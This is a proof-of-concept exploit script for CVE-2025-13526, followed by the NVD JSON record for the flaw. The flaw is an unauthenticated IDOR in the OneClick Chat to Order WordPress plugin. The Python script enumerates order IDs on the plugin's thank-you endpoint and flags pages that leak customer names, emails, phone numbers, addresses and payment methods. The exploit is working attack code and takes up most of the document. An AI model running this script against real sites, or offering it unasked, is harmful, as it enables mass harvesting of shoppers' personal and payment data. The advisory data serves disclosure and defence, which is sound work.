CVE-2025-13526

# CVE-2025-13526 PoC - OneClick Chat to Order IDOR Vulnerability import requests TARGET_URL = "https://vulnerable-site.com/" # The thank you page endpoint that handles order display VULNERABLE_ENDPOINT = "?wa-order-thank-you=1&order_id=" def exploit_idor(start_order_id=1, max_orders=100): """Exploit IDOR vulnerability to extract customer order information""" print(f"[*] Starting IDOR attack on {TARGET_URL}") print(f"[*] Target: OneClick Chat to Order Plugin") print(f"[*] Vulnerability: Insecure Direct Object Reference in wa_order_thank_you_override\n") for order_id in range(start_order_id, start_order_id + max_orders): url = f"{TARGET_URL}{VULNERABLE_ENDPOINT}{order_id}" try: response = requests.get(url, timeout=10) if response.status_code == 200: # Check if sensitive data is leaked in response if any(keyword in response.text.lower() for keyword in ['customer', 'order', 'email', 'phone', 'address', 'payment']): print(f"[+] SUCCESS: Order ID {order_id} - Sensitive data exposed!") print(f"[+] URL: {url}") # Extract and display leaked information print(f"[*] Response length: {len(response.text)} bytes") else: print(f"[-] Order ID {order_id} - No sensitive data found") else: print(f"[x] Order ID {order_id} - HTTP {response.status_code}") except requests.exceptions.RequestException as e: print(f"[x] Error accessing order {order_id}: {e}") print("\n[*] Attack completed. All accessible order data has been enumerated.") if __name__ == "__main__": exploit_idor(start_order_id=1, max_orders=100) # Note: This PoC demonstrates the IDOR vulnerability where attackers can # view any customer's order information by simply changing the order_id parameter # No authentication required - just network access to the vulnerable endpoint

{"cve": {"id": "CVE-2025-13526", "sourceIdentifier": "[email protected]", "published": "2025-11-22T11:15:48.857", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The OneClick Chat to Order plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.0.8 via the 'wa_order_thank_you_override' function due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to view sensitive customer information including names, email addresses, phone numbers, billing/shipping addresses, order contents, and payment methods by simply changing the order ID in the URL."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/oneclick-whatsapp-order/trunk/includes/buttons/wa-order-thank-you.php#L126", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3391625/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/547a0c73-044e-49ba-9bec-4f80b41b8ea2?source=cve", "source": "[email protected]"}]}}